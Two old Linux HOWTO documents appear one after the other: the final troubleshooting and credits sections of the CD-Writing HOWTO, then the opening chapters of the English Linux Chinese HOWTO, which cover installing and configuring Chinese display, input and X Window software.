A CD-ROM to be read by all systems can only use the plain ISO 9660 format. That means stupid 8+3 filenames from old MS-DOS and without any HFS (Macintosh), Joliet (Microsoft) or RockRidge (newer Unices) extensions. There is no extension for longer filenames, which could be read by all operating systems.

4.31 Is multi-session for audio tracks possible?

Audio CD-players are only able to deal with audio tracks stored in the first session. In other words, you cannot add audio tracks using subsequent sessions. However, writing data tracks into the second session effectively hides them from audio CD-players. This way you prevent having an silent track on your mixed mode CD (audio and data mixed).

4.32 What hardware resources do I need? Is an old Pentium enough?

An answer depends on your wishes. If you need a reason to buy a new computer, here is the answer from the international association of computer manufactures: Whatever you plan to do, you need a processor with 800 Mhz. Because it won't fit into your existing motherboard, you need a new motherboard, too. The easiest solution is just to buy the typical complete offer as seen in advertisements on TV. Please ignore the rest of this section.

Now the case if you just want a rational answer: I wrote several CD-ROMs sucessfully using a "486" with 66 Mhz. Although MS does not consider them to be PCs anymore, but recommends to run a CE version on them (seen on the CeBIT), Linux runs even fine on the predecessors of the Pentium and is even able to write CDs. You can easily find out if the power of your hardware is sufficient for writing CD-ROMs by testing it out. Just add the command line switch -dummy when executing cdrecord and the laser will be kept off. Watch the burning process.


CD-Writing HOWTO: Troubleshooting

 Next Previous Contents

5. Troubleshooting

Always remember, that you can still use corrupt CD-ROMs as coasters. :-)

5.1 It doesn't work: under Linux

Please check first, that the writer works under the software it is shipped with (=under another operating system). Concretely:

  • Does the controller recognize the writer as a SCSI device?
  • Does the driver software recognize the writer?
  • Is it possible to make a CD using the accompanied software?

If "it doesn't even work" with the accompanied software you have a hardware conflict or defective hardware. If it works and you use loadlin to boot Linux, then that is a problem with loadlin. Loadlin makes a warm-boot with most of the hardware already initialized and that can confuse the Linux kernel.

5.2 Error-message: No read access for 'dev=0,6,0'.

Under Linux, some versions of the C-library are incompatible (buggy), so that an application linked against one version will not work with another. An example for an error triggered by pre-compiled binaries is the following:

[root@Blue /dev]# cdrecord -eject dev=0,6,0
cdrecord: No such file or directory. No read access for 'dev=0,6,0'.

The solution is to install a newer C-library.

5.3 It doesn't work: under DOS and friends

Try to use Linux. Installation and configuration of SCSI drivers for DOS is the hell. Linux is too complicated? Ha!

5.4 SCSI errors during the burning phase

Most likely those errors are caused by

  • missing dis-/reconnect feature on the SCSI bus
  • insufficiently cooled hardware
  • defective hardware (should be detected by 5.1.)

Under various circumstances SCSI devices dis- and reconnect themselves (electronically) from the SCSI bus. If this feature is not available (check controller and kernel parameters) some writers run into trouble during burning or fixating the CD-R.

Especially the NCR 53c7,8xx SCSI driver has the feature disabled by default, so you might want to check it first:

NCR53c7,8xx SCSI support                  [N/y/m/?] y
   always negotiate synchronous transfers [N/y/?] (NEW) n
   allow FAST-SCSI [10MHz]                [N/y/?] (NEW) y
   allow DISCONNECT                       [N/y/?] (NEW) y

5.5 Medium errors If cdrecord reports medium errors in the form of"Sense Key: ... Medium Error, Segment ...", then the mediumis not empty. If you use CD-RW, then try to switch fromblank=fast to the more reliable blank=all. If you use CD-Ronly, then make sure the CD-R has never seen a CD-writer beforeor try out discs from another manufacturer.

5.6 Newly written CDs are not readable on some players.

Some people reported problems with playing their self-written CDs. Very old audio players or car devices can have problems with CD-Rs, although this is extremly rare. Quite frequent are problems with CD-RWs, because they don't reflect the laserlight as good as CD-Rs and factory-pressed "silver" discs.

5.7 My scanner stopped working after I loaded the ide-scsi module

By inserting the SCSI-hostadaptor emulation, the naming of SCSI devices changes. If your scanner was /dev/sg0 before, it might be /dev/sg1 or /dev/sg2 now. Prominent kernel developers did not think this is completely braindead and denied solutions like devfs in the past. But that is another story, the first thing you should try is to set the link /dev/scanner to point to the actual generic SCSI device. Examples:

cd /dev
ls -l scanner     # shows current setting
ln -sf sg2 scanner
# test the scanner
ln -sf sg1 scanner
# test the scanner
# and so on

Application developers should carefully think about support for this dangerous and error prone naming scheme. Please consider at least to use intermediate solutions like the SCSI coordinates used by cdrecord.


CD-Writing HOWTO: Credits

 Next Previous Contents

6. Credits

Many thanks go to the readers of this HOWTO, who contributed actively to its contents. As I don't had access to a CD-writer myself for several years, reports about real live setups and experience have always been of great value to me.

Doug Alcorn <doug@lathi.net>

helped to improve the handling of newer kernels

Kalle Andersson <kalle@sslug.dk>

How to write audio CDs directly from MP3.

Alan Brown <alan@manawatu.net.nz>

Rick Cochran <rick@msc.cornell.edu>

hint about dis-/reconnect disabled by default in the ncr driver

Robert Doolittle <bob.doolittle@sun.com>

good arguments for dropping cdwrite from the HOWTO

Markus Dickebohm <m.dickebohm@uni-koeln.de>

Thomas Duffy <tduffy@sgi.com>

major cleanup of syntax and spelling

Dave Forrest <dforrest@virginia.edu>

fixed adapter spelling problems

Jos van Geffen <jos@tnj.phys.tue.nl>

noted the problem in 4.9.

Bernhard Gubanka <beg@ipp-garching.mpg.de>

noticed the need of a recent version of mount to utilize the loopback device

Stephen Harris <sweh@mpn.com>

contributed hint about writing audio CDs

Janne Himanka <shem@oyt.oulu.fi>

pointer to kernel patch to read Joliet CD-ROMs

Stephan Noy <stnoy@mi.uni-koeln.de>

information and experience about writing audio CDs

Don H. Olive <don@andromeda.campbellsvil.edu>

URL of the mkhybrid tool

Jesper Pedersen <jews@imada.ou.dk>

Pierre Pfister <pp@uplift.fr>

helped to develop the recipe on 1:1 copies.

Daniel A. Quist <dquist@cs.nmt.edu>

information about IDE CD-R and newer kernel versions

Martti.Rahkila@hut.fi

Reported problem with pre-initialized writers when booting via loadlin.

Dale Scheetz <dwarf@polaris.net>

Joerg Schilling <schilling@fokus.gmd.de>

many informations about cdrecord

Martin Schulze <joey@Infodrom.North.DE>

gave information about the cdwrite-mailinglist

Gerald C Snyder <gcsnyd@loop.com>

tested writing of an ext2 CD-ROM (see 4.4)

Art Stone <stone@math.ubc.ca>

had the idea to put non-ISO-9660 filesystems on a CD

The Sheepy One <kero@escape.com>

suggested using defective CD-ROMs as coasters for drinks

Erwin Zoer <ezoer@wxs.nl>

Futhermore, I would like to thank the following people for reporting spelling mistakes: Bartosz Maruszewski <B.Maruszewski@zsmeie.torun.pl>, Alessandro Rubini <rubini@prosa.it>, Ian Stirling <ian@opus131.com>, Brian H. Toby.

End of the Linux CD-Writing HOWTO. (You can stop reading here.)


Linux Chinese HOWTO English Version

Chih-Wei Huang cwhuang@phys.ntu.edu.tw
Cd Chen cdchen@linux.ntcic.edu.tw

v1.04, 2 June 1998

This document demonstrates how to implement Chinese available on Linux system, including those common problems encountered on Linux/UNIX system while using Chinese, the ways to obtain, and shows how to install and setup a variety of different Chinese softwares. Finally, we would like to take a bit little glance at the work for making a complete Chinese environment with Linux system.

1. Foreword

  • 1.1 Introduction
  • 1.2 Awareness
  • 1.3 Newest Version
  • 1.4 Copyright and Announcement
  • 1.5 Goal
  • 1.6 Acknowledgement
  • 1.7 Words from The Translator--Frank J.S. Chen

2. Difficulties of Using Chinese on Linux System

3. Where to Get Chinese Softwares?

  • 3.1 Websites for Chinese softwares
  • 3.2 Using Archie

4. Display and Input Chinese

  • 4.1 xcin+crxvt
  • 4.2 yact
  • 4.3 bcs16
  • 4.4 chdrv
  • 4.5 cxterm
  • 4.6 XA (Xcin Anywhere)
  • 4.7 New Added Inputs
  • 4.8 Problems coming with input

5. Chinese X Window System

  • 5.1 CXWin
  • 5.2 Installation of Chinese fonts
  • 5.3 TaBE & B5LE

6. Printing for Chinese

  • 6.1 cnprint
  • 6.2 ps2cps
  • 6.3 bg2ps
  • 6.4 gb2ps

7. Chinese Printing Softwares

  • 7.1 LaTeX + CJK
  • 7.2 ChiTeX
  • 7.3 Dtop
  • 7.4 ChinesePower
  • 7.5 EasyFlow

8. Useful Chinese Softwares

  • 8.1 cjoe - Joe's Own Chinese Editor
  • 8.2 celvis
  • 8.3 cvim
  • 8.4 he
  • 8.5 hztty
  • 8.6 ktty
  • 8.7 Cemacs and CChelp For Emacs
  • 8.8 Mule
  • 8.9 hc
  • 8.10 ctin
  • 8.11 Some Other Toys

9. Related Chinese Problems with Others

  • 9.1 Netscape Navigator
  • 9.2 sendmail
  • 9.3 procmail
  • 9.4 telnet
  • 9.5 less
  • 9.6 pine
  • 9.7 samba
  • 9.8 lynx
  • 9.9 minicom
  • 9.10 fingerd
  • 9.11 tintin++

10. Chinese Linux

  • 10.1 Chinese Linux Documentation's Projects
  • 10.2 Chinese Linux Project
  • 10.3 Chinese websites of Linux
  • 10.4 Discussed groups of Linux

11. FAQs

  • 11.1 Why Can't I Enter Chinese?
  • 11.2 I have got the NTU TTF fonts, but how can I decompress it?
  • 11.3 Netscape's title and tag cannot see Chinese?
  • 11.4 My Netscape cannot see Chinese?
  • 11.5 How to enter Chinese in Netscape?
  • 11.6 What's the difference between ChiTeX and CJK? Can I install them at the same time?

12. Appendix - Chinese Softwares of FTP.IFCSS.ORG


Linux Chinese HOWTO English Version: Foreword

 Next Previous Contents

1. Foreword

1.1 Introduction

NOTE: I write the document to help novices. However, if it didn't, that's your problem, not mime! Don't complain that I WASTE your time, because nobody has to answer your questions, and nobody has to write documents to help you! You have been warned.

This is a document, as a part of Chinese Linux Documentation Projects, introduces the progress in fulfilling Chinese on Linux. The special point different from the other CLDP documents is that this HOWTO document, in turn, will be the first one and also the only one written in Chinese first and then translated into English later.^_^

I have been made my best effort to ensure the exactness of this document, though; however, I couldn't give a guarantee for myself that all the operations and configurations can execute exactly and smoothly on your system. If any problems or losses have happened to your own system because of the executable examples issued in this document, which you have been followed, the authors, us, won't be in charge of any responsibility.

The basic purpose carried with this document is to enormously reduce the questions repeated again and again, just like "Why can't I input/see Chinese?", "Why can't I set xxx up?" and so forth, occurred on Internet. In fact, it is impossible as I knew it...

1.2 Awareness

The shell program used in this document will be sh/bash. If other system(such as csh/tcsh) is your choice, you need to pay attention to the differences amongst them. On the configuration of environment variables, for instance, usage for sh/bash will be,

# export TERM=vt100

whereas for csh/tcsh ,

# setenv TERM vt100

1.3 Newest Version

Simultaneously, I provide the following various formats of different versions due to the mechanism of SGML document formats.

  • Plain Text
  • HTML
  • PostScript
  • SGML
You can download these formats from the ftp site ftp://ftp.phys.ntu.edu.tw/pub/CLDP/howto-translations/.

Also, you may read directly the newest version of this document on line.

  • http://www.phys.ntu.edu.tw/~cwhuang/pub/os/linux/CLDP/Chinese-HOWTO.html
  • HomePage for Chinese Linux Documentation Projects

English version could be obtained from:

  • http://sunsite.unc.edu/LDP/HOWTO/Chinese-HOWTO.html
  • http://www.phys.ntu.edu.tw/~cwhuang/documents/linux-howto/Chinese-HOWTO.html

Japanese translation is also available at(thanks to isaji@mxu.meshnet.or.jp):

  • http://jf.gee.kyoto-u.ac.jp/JF/JF-ftp/other-formats/Chinese/Chinese-HOWTO.html
  • ftp://ftp.kuis.kyoto-u.ac.jp/Linux/JF/other-formats/Chinese/

1.4 Copyright and Announcement

The copyright of this Chinese HOWTO document belongs to Chih-Wei Huang < cwhuang@phys.ntu.edu.tw>. You can make any copies, distributions and spread all or parts of this document. Acyually, you are encouraged very much to fulfill that statement real so that more and more netters could get some helps from it under the use with non-business. (DO NOT remove my name out of it, please.) For business, contact the authors first. The trademarks or packages mentioned in this document belong to the companies or the personal, respectively.

1.5 Goal

I wish this document can offer a complete and self-sufficient explanation in the aspect of using Chinese on Linux system. What matters concerned with implementations of Chinese on Linux will put it all together here! However, limited to the intelligence and private ability, the ultimate goal of my willingness is almost a "mission impossible"; therefore, if there are losses or drawbacks in it, please let me know it.

1.6 Acknowledgement

I want to thank to Hong Zhang < zhangh@earthlink.net> for being the original founder of this Chinese HOWTO document and for his papers of being the foundation of this new version. Also, I need to thank to Cd Chen < cdchen@linux.ntcic.edu.tw> for completing the section Display and Input Chinese.

The translator, Frank_J.S._Chen < frank63@ms5.hinet.net>, also deserved the acknowledgments for translating this document into English.

Here, there are many people ought to be acknowledged much better for the reasons of devoting their efforts to make Linux more reliable in Chinese. Because of their hard works, we can nowadays enjoy ourselves on a comfortable Chinese environment of Linux.

1.7 Words from The Translator--Frank J.S. Chen

This work begins on 1/8/98 and ends on 1/11/98, which I call the version of 0.1, as I always did for the initial states of anything. I appreciate the hard work of Chinese version for its delicate statements and not leaving out any detail in the field of Chinese practices. The more I translated, the more I learned. After examining all the sentences I've made, there are definitely many of them won't like real American-English, or the so called Chinese-styled English. Well, if you are skilled in this field of translation or are interested in the circle of computers science, anything about this English article, just like grammar, writing, internationalization of locale with Linux, translation, programming with C/C++, and so forth, will be sincerely grateful and excessively welcome, too.(1/11/98, modified on 6/2/98) This is the secondary modification of it, focusing on the falses of typing, incorrect grammar, and correcting the meanings of ambiguous words(maybe a little research on sematics, just for this document:-)). I have no ideal about the translating quality of this paper, if you feel something strange or ill while reading, please let me know about it in my real heart. Pointing out the bad parts will be marvelous in spreading out this howto. As far as I know, English version of it had been translated into several foreign languages including Japanese, Swedish, etc. If you want to do another one, just go ahead, but we suggest you to inform anyone of us about that.(6/2/98)


Linux Chinese HOWTO English Version: Difficulties of Using Chinese on Linux System

 Next Previous Contents

2. Difficulties of Using Chinese on Linux System

This section makes an attempt to do a general description for the possible obstacles in using Chinese on Linux; then you could find the key points out much easier as you meet with these problems. As a matter of fact, the shortcomings described here not only appear on Linux but also the other system. Even more, we can say that the whole computers environments are concerned. If this section is not suited for your tastes or you are eager to act directly, then you can jump onto the section Display and Input Chinese!

A Chinese word is composite of two bytes in computers, as we all know. The most popular encoding methods includes BIG5 codes available in the area of Taiwan and GB codes available in the mainland China. The first byte of each word is almost bigger than numeric values 128, which is what we called the non-ASCII codes.(The ASCII codes means codes smaller than 128.)

Yes! Then so what? Here are the points! Because of different kinds of reasons, in the early days, many programs didn't consider the possibility of non-ASCII codes as a part of entering data.

These kinds of programs always assume that the data prepared to manipulation are all limited in the range of ASCII codes, and the most worst is that when they meet with non-ASCII codes, an assumption of their non-existence and a truncation of the 8th bit is the most frequent method they took. This is the so called 8-bit clean problem.

Your program, for example, always take it for granted that your inputs are all the 7-bit-width ASCII codes. When you enter Chinese words, it will erase the 8th bit so that the inputs under circumstances of Chinese will become disturbed codes all the way.

Communication programs on Internet are usually could only transmit 7-bit data. A notorious substance is the earlier sendmail program. sendmail could only send and receive 7-bit mails, causing that the strategies of many odd encoding methods, Encoding which made the receivers an excessive disturbance, are recognized as sending out Chinese mails(like uuencode, base64, QP and so on). (Frequently, I thought by myself that if the founders of emails could have put much foresight on it, then we could have little problems nowadays perhaps.)

This problem seems to be more complicated on Internet. Even you and your receivers all have the machines installed with sendmail program which might manipulate with Chinese mails, the receiver might get disturbed mails in any way. This is because this mail before its arrival at the target may travel over several hosts settled on Internet, if one of the hosts' sendmail cuts the 8th bit off, then things go down. For the programs with the architecture of client/server, the problem may be on the end of client, or on the end of server; otherwise both of them are.

Applications which are incapable of identifying the Chinese encoding are also a major problem, apart from being unable to deal with non-ASCII codes' data. That is, most programs(even if they can deal with 8-bit data accurately) all take a Chinese word as two individual bytes. This won't cause problems under some conditions, but it will show an unfortunate disaster under some spots.

The most obvious matter is that, for instance, even if you can input Chinese words properly, but when you hit the backspace key a time trying to delete a complete word, the whole word will be split into wto parts meaning that only one byte(column) can backspace on monitor and the redundant half one then become a disturbed code. More over than that, you might change new line at the second byte of a Chinese word in some text editors and then disturbed codes occurred. Besides, these text editors might think that a long Chinese sentence as a long English sentence without changing to a new line, making the picture of screen ugly and chaotic.

There are more worse matters, too ! Some Chinese words contain special codes which correspond to some particular meaning for some applications and might make these programs producing severe faults while meeting with that codes or just collapse.

Here below will try to propose some resolved methods but segmental, incomplete and also unsatisfactory. Only when all softwares can fit with Chinese, then the problems could really resolve perhaps.

However, more and more programs have noticed the significance of internationalization, for example, most hosts' sendmail programs now can cope with 8-bit mails exactly --- Not only transmitting Chinese mails need 8-bit, but also many multi-media mails need 8-bit. Lots of softwares already don't need to modify at all or just open some special options for the purpose of using Chinese. Simultaneously, there are more and more persons devoting to the birth of Chinese softwares. Let's us wait and expect for it.


Linux Chinese HOWTO English Version: Where to Get Chinese Softwares?

 Next Previous Contents

3. Where to Get Chinese Softwares?

3.1 Websites for Chinese softwares

Most of the Chinese softwares issued in this document can get from these sites below:

  • ftp://linux.cis.nctu.edu.tw/
  • ftp://linux.csie.nctu.edu.tw/pub/chinese/
  • ftp://chinese.linux.org.tw/pub/Chinese/
  • ftp://NCTUCCCA.edu.tw/Chinese/ifcss/software/
  • http://cnapps.ifcss.org/
  • http://irpslibrary.ucsd.edu/software/chinese_software/index.html

3.2 Using Archie

There are usually some ordinary questions such as "Where can I find xxx...?" appeared on Internet. Actually, there was an excellent utility named archie could help you to search softwares you needed. Make a link to http://archie.edu.tw/archie.html, and then enter the name of softwares that you want. If you have a desire to use xcin, for instance, just input xcin can you get all these softwares concerned with xcin displayed on screen. Then, choose the nearest site to download those softwares. More illustrations in detail can be found on the archie's homepage for self-reference.

You can use text mode, too. telnet archie.edu.tw and login as archie, then type prog FILENAME and press ENTER key, for instance,

Archie > prog xcin-2.1d.tar.gz
# Search type: sub.
# Your queue position: 1
# Estimated time for completion: 5 seconds.
working... =

Host linux.cis.nctu.edu.tw    (140.113.166.117)
Last updated 08:47 27 Nov 1997

    Location: /packages/chinese/xcin
      FILE    -rw-r--r-- 1106789 bytes  08:58 25 Jul 1997  xcin-2.1d.tar.gz


Linux Chinese HOWTO English Version: Display and Input Chinese

 Next Previous Contents

4. Display and Input Chinese

For environments of Chinese system under DOS or of Windows 95 for Chinese that you have been always using to get through Linux hosts, there is no doubt that you don't need to take a good look at this section. However, when your local host is Linux-based system, configurations for Chinese system are definitely necessary.

4.1 xcin+crxvt

It is truly suggested that you can take the combinations of xcin and crxvt as a pathway to solve the problems of Chinese I/O if the X Window System is acquainted with you.

Xcin, with a contraction of X Window Chinese INput, is a Chinese Input System executed under the X mode. Because xcin is utilizing the architecture of client/server, all you have to do is just to start one xcin window so that you can manipulate with many crxvt virtual terminals under the same window, which can exhaust much little resources. Also, it offers some wise programs of input, like Wang-Hsing Input or Natural Input, which can select the matching phases by themselves. In the early age, in order to convert fonts and inputs table to fit with xcin, you need the ETen Chinese System mounted first before the installation of xcin. After the man, Tung-Han Hsieh, < thhsieh@twclx.phys.ntu.edu.tw> became responsible for the voluntary maintenance of xcin, this terrible problem had been resolved!

The newest version is 2.3.02 now. But this one is just a version of beta. For the more stable one, I advise you to fetch the xcin-2.1d for a suggestion in my mind.

Getting the software

Download the sources of xcin from this ftp site below:

ftp://linux.cis.nctu.edu.tw/packages/chinese/xcin/xcin-2.1d.tar.gz
ftp://linux.cis.nctu.edu.tw/packages/chinese/xcin/xcin-2.3.02.tar.gz

Installation of xcin

You need the xcin-2.3.02.tar.gz file at hand first to setup xcin of version 2.3.02 and untar and unzip it under any certain directory.

# tar xzvf xcin-2.3.02.tar.gz
....
# cd xcin-2.3.02
# ./configure (Follow the instructions on screen to modify the options you picked up in turn.)
# make
# make install

So, you have finished the setup of xcin of version 2.3.02 from now on.

You can also get the same sort of xcin, named xcin-2.3.02.i386.rpm, maintained by Cd Chen for RedHat Linux System.

ftp://linux.ntcic.edu.tw/personal/cdchen/Chinese-RedHat-Packages/XCIN/RPMS/xcin-2.3.02-1.i386.rpm

Install it by

# rpm -Uvv xcin-2.3.02-3.i386.rpm

4.2 yact

yact is the system of displaying and inputing Chinese running under the terminal mode. The most different point from chdrv is that yact uses your computers' displaying card through svgalib library. Without the information of your video card contained in the svgalib, you may not probably make yact work on your Linux.

The most admirable point for yact is that the fonts are scanned with 24x24 on the monitor and are more beautiful than other terminal Chinese input system. And it is more smooth than the others in dealing with scrolling pages. The newest version of yact is yact-p4 now.

You can get yact here below,

ftp://linux.cis.nctu.edu.tw/packages/chinese/yact/yactp4.tar.gz
The ways to setup yact are simple, too. After getting the sources of yact, decompress it and examine whether the Makefile file is correct or not, then type make all install directly on shell prompt to complete the installation of bits files. Read the README file for more detailed information.

Next is the step of fonts' setup. yact uses the HBF fonts, but you can't find the fonts in the packages of yact, which means you need to take extra actions to make it available. Having ETen Chinese System mounted is an original recommendation from the founder for its fonts. Copy the HBF fonts' description file et24.hbf under the fonts directory of sources of yact to the directory /usr/local/lib/yact and rename it as hzfont.hbf. Then copy STDFONT.24, SPCFSUPP.24, SPCFONT.24 and ASCFONT.24 fonts files to the directory /usr/local/lib/yact and rename ASCFONT.24 as 12x24.

The free HBF fonts are available, too. Change names of these 256 ASCII fonts as 12x24 and names of the HBF fonts' description file as hzfont.hbf. Put both of description files and fonts files into /usr/local/lib/yact, then everything will be ok.

4.3 bcs16

Because yact needs the svgalib 1024x768 mode to work, many netters without ET4000 series cards cannot get well supports from it, causing their sickness of this excellent Chinese system. The bcs16 is modified from yact according to this drawbacks. It needs only 640x480 and can work very well on most video cards.

Get bcs16 from this site:

ftp://linux.cis.nctu.edu.tw/packages/chinese/bcs/bcs007a.tgz

Installation

  • Decompress and compile it to setup
    # tar zxvf bcs007a.tgz
# cd bcs16
# make
# cp bcs16 /usr/local/bin
  • bcs16 take yact's input table as default and this is the reason that you must setup yact first before bcs16 can work. However, version of v0.05 or laters have been emerged with the support of individual Boshiamy input, so if you don't need other inputs provided from yact, you don't need to install yact first. Just fetch Boshiamy input table, liubig5.tab, of DOS version and put it into the directory /usr/local/lib/yact .
  • Put files under directory data into /usr/local/lib/yact and all the legal fonts files, namely spcfont.15, spcfsupp.15, andstdfont.15 , are need to put together in the same place, too.
  • If you want to see GB codes or Japanese or Korean, get fonts cclib.16.gz cclib.16a.gz, jis.16.gz, ksc.16.gz from the site below and decompress them into /usr/local/lib/yact.
    ftp://nctuccca.edu.tw/Chinese/ifcss/software/fonts/
  • If you have the files of creating fonts or sets of Sea-Fonts, you can copy them to the directory /usr/local/lib/yact/usrfont.15m too.
  • Execute bcs16. Pressing Alt-H can get more advanced explanations of instructions.

The founder of bcs16 is cnoize.bbs@bbs.cis.nctu.edu.tw.

4.4 chdrv

chdrv is a Chinese emulator program displaying and entering Chinese through console. Because chdrv access the tty device directly, it must be activated by the root. Now, chdrv is maintained by Yu-Chung Wang < wycc@iis.sinica.edu.tw> and the newest one is chdrv-1.0.10.

Getting chdrv

You can get it from

ftp://linux.cis.nctu.edu.tw/packages/chinese/chdrv/
Get the source package, chdrv-1.0.10.tar.gz, binary package, chdrvbin-1.0.10.tar.gz, and fonts package, chdrvfont.tar.gz, respectively.

Installation of chdrv

Unzip and untar the compressed binary file,

# tar xvzf chdrvbin-1.0.10.tar.gz
# mv chdrvfont.tar.gz chdrv-1.0.10/
# cd chdrv-1.0.10
Read the illustrations for installation in file INSTALL.1.0 to modify file install. If you want your shadow password to works, you need to change the settings in chinese.conf. Erase the following comments off,
LOGINPROGRAM /bin/telnet
Freeze this line into remarks,
LOGINPROGRAM /bin/login
Now, you can execute the installation script.
# ./installbin

4.5 cxterm

cxterm is a Chinese virtual terminal running under X Window System, and is the oldest Chinese displaying and inputing virtual terminal, which is provided various codes for Chinese, including BIG5 codes, GB codes, HZ codes and so on. Because each cxterm opened needs to load Chinese data into the main memory, system resources are exhausted quite largely for it.

Getting cxterm

The newest one is version of 5.0.p3 named cxterm5.0.p3.tar.gz, which contains both of cxterm codes and Chinese fonts. You can get it from here below,

ftp://ftp.ifcss.org/pub/software/x-win/cxterm/
Or the rpm at ftp.redhat.com: cxterm-color-5.0p3-1.i386.rpm, cxterm-color-big5-5.0p3-1.i386.rpm, cxterm-color-gb-5.0p3-1.i386.rpm.
ftp://ftp.redhat.com/pub/contrib/hurricane/i386/

Installation of cxterm

Decompress the packed,

# tar -xvzf cxterm5.0.p3.tar.gz
The upper instruction will produce a new directory cxterm-5.0, and then invoke instructions as follows:
# cd cxterm-5.0
# ./config.sh
You need login as root to execute ``./config.sh'' if you wish all users on your computer can use cxterm well, then you can finish the steps of setup following the descriptions below:
  0. Read COPYRIGHT Notice
  1. Compile, Install, and Configure "CXTERM 5.0" in One Step

  2. Compile cxterm (not to install)
  3. Install cxterm (after successful compilation in 2)
  4. Install additional Chinese font(s) for your X window
  5. Configure your account for using cxterm (after installation in 3)

  x. Exit
Please choose (0/1/2/3/4/5/x) :

If you wish all things going through automatically, please choose 1, and then enter the name of directory where to store the cxterm. If asking me, I will suggest this place, /usr/local/chinese¡D There are two kinds of Chinese fonts coming with the packed package, choosing 1 and 3 will make the procedure of installation all automatic. In addition, you can select 4 to install some extra fonts, too. After achieving this setup, you need to put cxterm and CXterm into the path of searching directory.

# export PATH=$PATH:/usr/local/chinese/bin

CXterm is just a shell script to load the resources of X and cxterm in. For using GB codes, invoke this following command,

# CXterm -gb
For BIG5 codes, invoke this following command,
# CXterm -big5

Color patch of CXterm

On the website ftp://ftp.ifcss.org/pub/software/x-win/cxterm, there is a color patch for cxterm as well. Using this patch can make cxterm showing colors of ANSI. Assuming that you put the original files of cxterm under the /tmp/cxterm-5.0, then

# cp cxterm-5.0.p3-color.patch.gz /tmp
# gzip -d cxterm-5.0.p3-color.patch.gz
# patch < cxterm-5.0.p3-color.patch
# cd cxterm-5.0
# ./config.sh

4.6 XA (Xcin Anywhere)

XA is a small tool of an abbreviation for Xcin Anywhere, which can let you enter Chinese words with xcin under any common X-based softwares. If making XA coordinating with CXWin(or XA+CV), you can get an environment of accessing Chinese for softwares not supported with Chinese. Thus, the xterm will become cxterm-like naturally. Cool, doesn't it? XA is now extremely unstable as though, and you have to take charge of all risks if you want to explore it. As most things do, before working with XA, you must make xcin installed first. You can pick XA up into your pocket from here below:

ftp://linux.cis.nctu.edu.tw/packages/chinese/xcin/XA/

Decompress the packed. Run ./configure to produce mk and config.h on account for the compilation by using ./mk. If it works, key in ./mk test xterm next to see if the xcin can be called out and enter Chinese under xterm to test. If there is no problem, copy wrap.so to /usr/local/lib/ following the syntax below:

# LD_PRELOAD=/usr/local/lib/wrap.so netscape &
Then, just follow the general method of using xcin.

Founder of XA is weijr.bbs@bbs.ntu.edu.tw.

4.7 New Added Inputs

At present, there are two common formats of input table, namely tit and cin, which both are plain text of formats. (That's means you can edit them directly from text editors.) However, most Chinese Systems almost provide utilities for the purpose of exchanging pure text of formats into special binary of formats in order to speed up searching method. Before you setup some certain input, you must own it's tit , cin, or formats after transformation first .

I will take the Bo-Shia-My input as an example to show how to add it under each kind of Chinese system. The input tables mentioned here can be found at ftp://ftp.cis.nctu.edu.tw/UNIX/Chinese/Boshiamy/.

Other tit files are also available at ftp://ftp.ifcss.org/pub/software/x-win/cxterm/dict/.

xcin

Make use of utility cin2tab provided from xcin to transform the cin table into tab one.

# cin2tab boshiamy.cin
It will produce the two files: boshiamy.tab and boshiamy.tab.rev. Put them into the directory of xcin and activate xcin next:
# xcin -in9 boshiamy.tab
To use Bo-Shia-My input, press the combination keys CTRL-ALT-9.

yact & bcs16

yact takes the use of cit of version 2, and the same as cxterm. You can use the tool tit2cit accompanied with yact to make transformation available between boshiamy.tit and cit.

Move boshiamy.cit into /usr/local/lib/yact and establish a symbol link for it:

# ln -s boshiamy.cit 9
Like xcin does, Hit CTRL-ALT-9 for calling Bo-Shia-My input.

chdrv

At first, put boshiamy.tbl into /usr/local/lib/chinese. Secondly, modify /etc/chinese.conf, adding the follow section INPUT into it.

BEGIN INPUT
PHONETIC /usr/local/lib/chinese/phone.def
MULTI /usr/local/lib/chinese/boshiamy.tbl
END INPUT
Finally, use utility chconfig of chdrv to make the contents of /etc/chinese.conf effective.

cxterm

Change boshiamy.tit into cit or citnf with the utility tit2cit of cxterm, then modify .Xdefaults to set a combination key for acting Bo-Shia-My input. Please refer to the technical document coming with cxterm for more information about installation and implementation in detail.

4.8 Problems coming with input

After you accomplished the establishments of Chinese System, you have already been able to display Chinese on your Linux through monitors. However, as using a Chinese editor, you will find that the Linux system can only display Chinese but cannot accept the input of Chinese. You have to modify two spots, by yourself, to make Linux system becoming acceptable with output and input of Chinese if you want to improve these problems At beginning, you need to add the locale setting to the shell profile file (Referring to the locale mini-HOWTO when concerning with locale). Additionally, adding sets about inputs for the .inputrc file under your home directory is necessary too. (Please create it yourself if .inputrc didn't ever exist.) Here are the configurations concerning with shell profile file and .inputrc file which are distributing on public domain(just as a reference, though):

Bash Shell: Appending the following contents into /etc/profile, please.

stty cs8 -istrip
stty pass8
export LANG=C
export LC_CTYPE=iso-8859-1

Tcsh Shell: Appending the following contents into /etc/csh.login or in /etc/csh.cshrc, please.

stty cs8 -istrip
stty pass8
setenv LANG C
setenv LC_CTYPE iso-8859-1

$HOME/.inputrc file for setup lists as follows:

set convert-meta off
set output-meta on

Eventually, prepare a text file contained with Chinese words by yourself, and use tool grep to search it. If it can find something exact, this means that your Linux system can work with Chinese words already.


Linux Chinese HOWTO English Version: Chinese X Window System

 Next Previous Contents

5. Chinese X Window System

X Window System is a software with powerful environment of graphical user interface under UNIX System. XFree86 is a modified version from MIT X Window System and also freely distributed.

5.1 CXWin

The Chinese X, abbreviated with CXWin, is really a patch of XFree86, making it can show Chinese words under X Window System. Founder of it is srlee. CXWin only support BIG5 code at present, and can let you be possessed of Chinese pop-up menus, of Chinese titles of windows, and of showing Chinese under a variety of window managers and applications.

How to get it?

You can get CXWin 3.3 from this ftp site below:

ftp://linux.cis.nctu.edu.tw/packages/X/Xserver/CXwin/3.3/

If you use XFree86 3.2, you can get the Linux ELF format of version 3.2.

ftp://linux.cis.nctu.edu.tw/packages/chinese/CXwin/binaries/

All you need is to get the corresponding X server. For example, if your video card is matched with XF86_SVGA, just take XF86_SVGA.gz home. XF86_SVGA.gz should work properly on most video cards.

If you system is compatible with rpm, you can get the newest CXWin 3.3.1 of rpm.

ftp://linux.cis.nctu.edu.tw/packages/X/Xserver/CXwin/3.3.1/

Patches

You can get the patches at the same place to compile to binary files by yourself if you've got the sources of XFree86.

Installation

Make sure that you have these shared libraries if your choice is CXWin 3.3 (You can use ldconfig -p for an observation):

libm.so.5 => /lib/libm.so.5.0.6
